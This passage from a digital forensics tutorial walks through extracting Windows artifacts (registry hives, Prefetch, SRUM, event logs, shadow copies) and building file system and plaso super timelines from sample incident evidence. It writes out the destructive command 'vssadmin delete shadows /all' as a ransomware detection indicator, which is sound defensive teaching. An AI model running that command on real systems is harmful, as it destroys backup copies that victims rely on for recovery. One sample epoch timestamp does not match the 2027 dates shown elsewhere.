autopsy64.exe --nosplash --runFromCommandLine=true ^
  --inputPath=E:\evidence\case42.E01 ^
  --caseDir=D:\cases\case42 ^
  --caseName=CASE-42

A validation habit worth building: for any finding you will put in a report, reproduce it once at the CLI. If Autopsy shows a deleted mimikatz.exe at MFT 9104, run istat -o 1026047 evidence.dd 9104 and icat ... 9104 | sha256sum and paste both into your notes. That is the difference between "the tool told me" and "I verified it."

Part 10: The Windows Artifact Map

The file system tells you what exists. Artifacts tell you what a human did. This is where disk forensics stops being plumbing and starts answering questions. Extract these with icat/tsk_recover from the image, then parse with dedicated tools.

Registry hives

# Extract hives from the image
for f in SYSTEM SOFTWARE SAM SECURITY; do
  INODE=$(ifind -o 1026047 -n "/Windows/System32/config/$f" evidence.dd)
  icat -o 1026047 evidence.dd $INODE > /cases/hives/$f
done
 
# Parse with RegRipper (perl-based, one plugin per artifact)
sudo apt install -y regripper
rip.pl -r /cases/hives/SYSTEM -f system > /cases/out/system.txt
rip.pl -r /cases/hives/NTUSER.DAT -p userassist > /cases/out/userassist.txt
rip.pl -r /cases/hives/SYSTEM -p usbstor

usbstor v.20180819
(System) Get USBStor key info

USBStor
Disk&Ven_SanDisk&Prod_Cruzer_Blade&Rev_1.00 [2027-01-11 21:58:14Z]
  S/N: 4C530001260113118353 [2027-01-11 21:58:14Z]
    FriendlyName  : SanDisk Cruzer Blade USB Device
    ParentIdPrefix:

Modern alternatives: regipy (Python) and Eric Zimmerman's RECmd/Registry Explorer (Windows, transaction-log aware). A crucial detail: registry hives have transaction logs (.LOG1, .LOG2) holding not-yet-committed changes. Tools that ignore them show you a stale hive. RECmd and regipy replay them; older tools do not — extract the .LOG files alongside every hive.

Execution artifacts — the "did this run?" stack

No single artifact proves execution. You build confidence by stacking them.

SRUM deserves emphasis: it is an ESE database recording, per process and per user, bytes sent and received over each network interface, in hourly buckets, for weeks. In an exfiltration case where the C2 logs are gone, SRUM showing 7zG.exe and then a 4.2 GB upload from rclone.exe at 02:14 is often the strongest available evidence of data theft volume.

# Parse SRUM (Mark Baggett's srum-dump, or ESE tooling)
python3 srum_dump.py -i /cases/ext/SRUDB.dat -r /cases/hives/SOFTWARE -o /cases/out/srum.xlsx
 
# Prefetch (Eric Zimmerman PECmd)
PECmd.exe -d C:\cases\ext\Prefetch --csv C:\cases\out

Executable name: RCLONE.EXE
Hash: 9A1B2C3D
Run count: 4
Last run: 2027-01-11 22:31:07
Other run times: 2027-01-11 22:19:52, 2027-01-11 22:04:44, 2027-01-11 21:59:31
Volume information: \VOLUME{01d8-3c2a}  Serial: 8A3C41F2  Created: 2026-08-02
Directories referenced: 27
Files referenced: 112
  \VOLUME{...}\USERS\PUBLIC\RCLONE.EXE
  \VOLUME{...}\USERS\JSMITH\APPDATA\ROAMING\RCLONE\RCLONE.CONF

That Prefetch file alone gives you: the tool ran four times, the exact times, where it lived, and — from the referenced files — that it used a config in the user's roaming profile, which you should now go and extract.

File and folder access artifacts

Shellbags are the classic "prove they knew it existed" artifact: a shellbag entry for E:\payroll\2027\confidential proves that user browsed that folder in Explorer, even if the E: drive was a USB stick that left the building. Parse with SBECmd.exe or shellbags.py.

Windows Event Logs

Windows/System32/winevt/Logs/*.evtx. Extract them all; parse with evtx_dump / python-evtx / Chainsaw / Hayabusa.

sudo apt install -y python3-evtx
evtx_dump.py /cases/ext/Security.evtx | grep -A3 '<EventID>4688' | head -40
 
# Or Chainsaw with Sigma rules across the whole log directory
chainsaw hunt /cases/ext/winevt/Logs -s /opt/sigma/rules --mapping /opt/chainsaw/mappings/sigma-event-logs-all.yml

Logon Type is the field novices skip — 2 = interactive (at keyboard), 3 = network (SMB/share), 4 = batch, 5 = service, 7 = unlock, 8 = network cleartext, 9 = NewCredentials (runas /netonly — classic pass-the-hash indicator), 10 = RemoteInteractive (RDP), 11 = cached interactive.

Browser artifacts

sqlite3 /cases/ext/History "SELECT datetime(last_visit_time/1000000-11644473600,'unixepoch'), url, title FROM urls ORDER BY last_visit_time DESC LIMIT 10;"

That /1000000-11644473600 is the conversion from Chrome/WebKit time (microseconds since 1601-01-01) to Unix epoch. Time formats you will meet:

Getting an epoch wrong shifts your entire timeline by decades and is a very common beginner error. Convert once, in one script, and sanity-check against a file whose time you know.

Deleted-but-not-gone: hiberfil, pagefile, VSS

VSS is frequently the win. If the host had shadow copies and the attacker did not run vssadmin delete shadows, you may have a complete pre-incident copy of the file system.

# Mount an image and expose shadow copies (libvshadow)
sudo apt install -y libvshadow-utils
vshadowinfo -o $((1026047*512)) evidence.dd
vshadowmount -o $((1026047*512)) evidence.dd /mnt/vss
ls /mnt/vss                       # vss1 vss2 vss3
fls -r -p /mnt/vss/vss2 | head    # analyse the snapshot as its own file system

Blue team usage: an attacker running vssadmin delete shadows /all generates event 8224 / Sysmon 1 with that command line, and is itself a strong ransomware precursor indicator — worth an alert on its own.

Part 11: Linux and macOS Artifacts

macOS equivalents:

FSEvents on macOS is the closest analogue to $UsnJrnl: a compressed log of created/renamed/deleted paths that persists after the files are gone. Parse with FSEventsParser.

Part 12: Timeline Analysis

A list of artifacts is not an investigation. A timeline is. There are two levels.

File system timeline: fls -m + mactime

# 1. Generate a body file (pipe-delimited intermediate format)
fls -o 1026047 -r -m "C:/" evidence.dd > /cases/tl/bodyfile.txt
 
# 2. Convert to a human timeline, in a chosen timezone
mactime -b /cases/tl/bodyfile.txt -z UTC -d > /cases/tl/timeline.csv
 
# Only a window of interest:
mactime -b /cases/tl/bodyfile.txt -z UTC 2027-01-11..2027-01-12 > /cases/tl/incident_window.txt

Body file format, for when you need to merge in other sources by hand:

MD5|name|inode|mode_as_string|UID|GID|size|atime|mtime|ctime|crtime

0|C:/Users/Public/rc.exe|8823|r/rrwxrwxrwx|0|0|421376|1767398047|1767398047|1767398047|1767398047

Reading a timeline is a skill of its own:

Thu Jan 11 2027 22:04:18   1265664 m..b r/rrwxrwxrwx 0 0 9104  C:/Users/jsmith/Downloads/mimikatz.exe (deleted)
Thu Jan 11 2027 22:04:44         0 .a.. r/rrwxrwxrwx 0 0 4471  C:/Windows/Prefetch/MIMIKATZ.EXE-8A2C41F2.pf
Thu Jan 11 2027 22:09:33    381816 m..b r/rrwxrwxrwx 0 0 9107  C:/Users/jsmith/Downloads/psexec.exe (deleted)
Thu Jan 11 2027 22:14:07    421376 ...b r/rrwxrwxrwx 0 0 8823  C:/Users/Public/rc.exe
Thu Jan 11 2027 22:14:09    421376 m.c. r/rrwxrwxrwx 0 0 8823  C:/Users/Public/rc.exe

The m..b / .a.. column is MACB — which of the four times this line represents. Note lines 4 and 5: rc.exe was born at 22:14:07 and its metadata changed two seconds later — that two-second gap is the timestomp being applied after the file landed, and it is why the SI times in Part 4 claimed 2009 while this crtime says 2027.

The bracketing technique: when you have one known-bad timestamp, cut the timeline to ±10 minutes around it. Everything an attacker did in that window — temp files, prefetch, registry writes, log entries — clusters there. Then expand outward from each new anchor. This is far more effective than reading a 40-million-line timeline linearly.

Super timeline: log2timeline / plaso

What it is: plaso (log2timeline.py + psort.py) parses hundreds of artifact types — file system, registry, EVTX, Prefetch, browser SQLite, syslog, LNK, Amcache, SRUM, and more — and merges them into one time-ordered store. It is the difference between "a file appeared" and "a file appeared, two seconds after a browser download from this URL, three seconds before a service was installed."

sudo apt install -y plaso-tools
log2timeline.py --version

# 1. Extract everything into a plaso storage file
log2timeline.py --status_view window --partitions all --vss_stores all \
    --parsers "win7,!filestat" -z UTC /cases/tl/case42.plaso evidence.E01
 
# 2. Filter and export
psort.py -o l2tcsv -w /cases/tl/super_timeline.csv /cases/tl/case42.plaso \
    "date > '2027-01-11 20:00:00' AND date < '2027-01-12 06:00:00'"

Post-processing is mandatory — a super timeline of a 500 GB disk is tens of millions of rows. Use one of:

• psteal.py for a one-shot extract + sort.
• Timesketch — a web UI for collaborative timeline analysis with tagging, saved views, and analyzers. This is what mature IR teams use.
• Sigma/Chainsaw on the EVTX subset first, to generate anchors, then bracket in the super timeline.

sequenceDiagram
    participant I as Image
    participant L as log2timeline
    participant P as plaso store
    participant S as psort or Timesketch
    participant A as Analyst
    I->>L: E01 plus VSS stores
    L->>L: 200+ parsers (FS, registry, EVTX, browser, prefetch)
    L->>P: Normalised timezone-corrected events
    A->>S: Filter by date window, keyword, artifact type
    S->>A: Ordered narrative slice
    A->>A: Anchor, bracket 10 minutes, new anchor
    A->>S: Tag, annotate, save view

The timezone discipline

Three different timezones are in play and confusing them is the fastest way to produce a wrong report:

1. The evidence system's timezone — from SYSTEM\CurrentControlSet\Control\TimeZoneInformation (ActiveTimeBias in minutes). This governs local-time artifacts.
2. The storage timezone of each artifact — NTFS/registry/EVTX are UTC; FAT and many logs are local.
3. Your reporting timezone — pick one, state it on every page, and never mix.

The professional default is report everything in UTC, note the system's local offset once, and present local time only where a human's working hours matter.